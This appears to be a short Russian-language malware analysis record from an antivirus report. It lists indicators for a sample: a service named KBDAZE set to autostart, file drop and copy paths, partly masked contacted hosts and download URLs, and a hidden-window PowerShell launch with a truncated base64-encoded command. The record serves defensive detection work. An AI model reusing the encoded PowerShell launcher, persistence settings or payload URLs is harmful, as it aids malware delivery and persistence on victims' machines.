Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDAZE] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDAZE] 'ImagePath' = '"%WINDIR%\SysWOW64\mfc140\KBDAZE.exe"'
- 'KBDAZE' "%WINDIR%\SysWOW64\mfc140\KBDAZE.exe"
- 'KBDAZE' %WINDIR%\SysWOW64\mfc140\KBDAZE.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQ...
- %HOMEPATH%\iiqqhqp\w6jsxef\n70wm26e.exe
- %WINDIR%\syswow64\mfc140\kbdaze.exe
- %HOMEPATH%\iiqqhqp\w6jsxef\n70wm26e.exe в %WINDIR%\syswow64\mfc140\kbdaze.exe
- '71.##.196.159':80
- http://cr###okuota.com/assets/M2ngTrJ/
- http://71.##.196.159/zU9x1R2S6uf76/X9udA2HK1MFGQNqixXZ/YdVFWVi6VGc7HgJ2E/dUqRXYmz9NYeY/rGSQImw/BHlGcAXz/
- DNS ASK cr###okuota.com
- '%HOMEPATH%\iiqqhqp\w6jsxef\n70wm26e.exe'
- '%WINDIR%\syswow64\mfc140\kbdaze.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQ...' (со скрытым окном)